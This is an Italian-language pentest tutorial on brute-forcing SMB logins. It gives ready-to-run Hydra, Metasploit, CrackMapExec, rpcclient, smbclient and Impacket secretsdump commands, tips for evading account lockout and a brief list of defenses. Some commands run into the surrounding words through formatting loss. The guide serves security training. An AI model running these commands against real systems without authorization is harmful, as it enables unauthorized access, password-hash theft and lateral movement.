Guida Approfondita: SMB Bruteforce
Il protocollo SMB Server Message Block è largamente utilizzato nei sistemi Windows per la condivisione di file, stampanti e altre risorse di rete. Durante una fase di penetration test, l'SMB può esser
Guida Approfondita: SMB Bruteforce
Introduzione
Il protocollo SMB (Server Message Block) è largamente utilizzato nei sistemi Windows per la condivisione di file, stampanti e altre risorse di rete. Durante una fase di penetration test, l'SMB può essere un ottimo vettore per ottenere accesso non autorizzato tramite brute-force attack, soprattutto quando le policy di password non sono adeguatamente configurate.
Questa guida descrive le principali tecniche e strumenti per effettuare un attacco di brute-force sul servizio SMB, approfondendo anche aspetti che vanno oltre il semplice utilizzo di Hydra.
Obiettivi dell'attacco
- Identificare credenziali valide per l'accesso SMB.
- Accedere a condivisioni di rete protette.
- Escalation dei privilegi tramite condivisioni di sistema o credenziali di amministratori.
Strumenti Principali
1. Hydra
Uno dei tool più noti per effettuare brute-force su vari protocolli, incluso SMB.
Comando base:
hydra -L user.txt -P pass.txt smb://<IP_TARGET>oppure:
hydra -L user.txt -P pass.txt <IP_TARGET> smbParametri:
-L: file con lista di username
-P: file con lista di password
: indirizzo IP della macchina target
Opzioni aggiuntive consigliate:
hydra -L users.txt -P passwords.txt -t 4 -V <IP> smb-t: thread per velocizzare (default 16)
-V: output verboso
2. Metasploit Framework - modulo smb_login
Caricamento del modulo:
msfconsole
use auxiliary/scanner/smb/smb_loginConfigurazione:
set RHOSTS <IP_TARGET>
set SMBUser <utente> # o set USER_FILE users.txt
set SMBPass <password> # o set PASS_FILE passwords.txt
set THREADS 10
runQuesto modulo permette di testare credenziali multiple sfruttando connessioni parallele e gestisce automaticamente i casi di account bloccati o errori comuni.
3. crackmapexec
Tool avanzato per valutazioni su SMB, NTLM, e Active Directory. Permette di validare credenziali, elencare share, eseguire comandi remoti se possibile.
Esempio d'uso:
crackmapexec smb <IP_TARGET> -u user.txt -p pass.txtPer testare una singola combinazione:
crackmapexec smb <IP_TARGET> -u Administrator -p Welcome123Tecniche e Tattiche Aggiuntive
Account Lockout Avoidance
- Rallentare i tentativi con
--delayo configurazioni di thread.
- Usare wordlist ridotte e credenziali ottenute da OSINT.
- Testare prima account "guest", "test", "admin", "backup", spesso senza lockout.
Validazione Utenti con Enum4linux o Rpcclient
Prima di effettuare brute-force, è utile enumerare gli utenti validi.
Enum4linux:
enum4linux -a <IP_TARGET>Rpcclient:
rpcclient -U '' <IP_TARGET> -N
> enumdomusersAnalisi di Share Accessibili
Una volta ottenuto l'accesso:
smbclient -L //<IP_TARGET> -U <user>Poi connettersi:
smbclient //<IP_TARGET>/ShareName -U <user>Dump delle Password Hash (Se possibile)
Con credenziali valide, usare secretsdump.py di Impacket:
secretsdump.py <domain>/<user>:<pass>@<IP_TARGET>Best Practice Offensive
- Utilizzare wordlist mirate (raccolte tramite recon o OSINT)
- Automatizzare con script per validazione e brute-force in loop
- Integrare tool come CrackMapExec e Impacket per fase post-auth
Difese e Mitigazioni (Blue Team Perspective)
- Configurare account lockout dopo tentativi falliti
- Abilitare auditing su accessi SMB
- Disabilitare SMBv1 e limitare le share
- Usare LAPS per la gestione delle password locali
Conclusione
Il brute-force sul protocollo SMB può essere un vettore estremamente efficace se sfruttato con criterio. Combinare diverse tecniche, usare wordlist personalizzate e strumenti complementari consente di aumentare le chance di successo e ottenere credenziali valide da riutilizzare per privilege escalation o movimento laterale.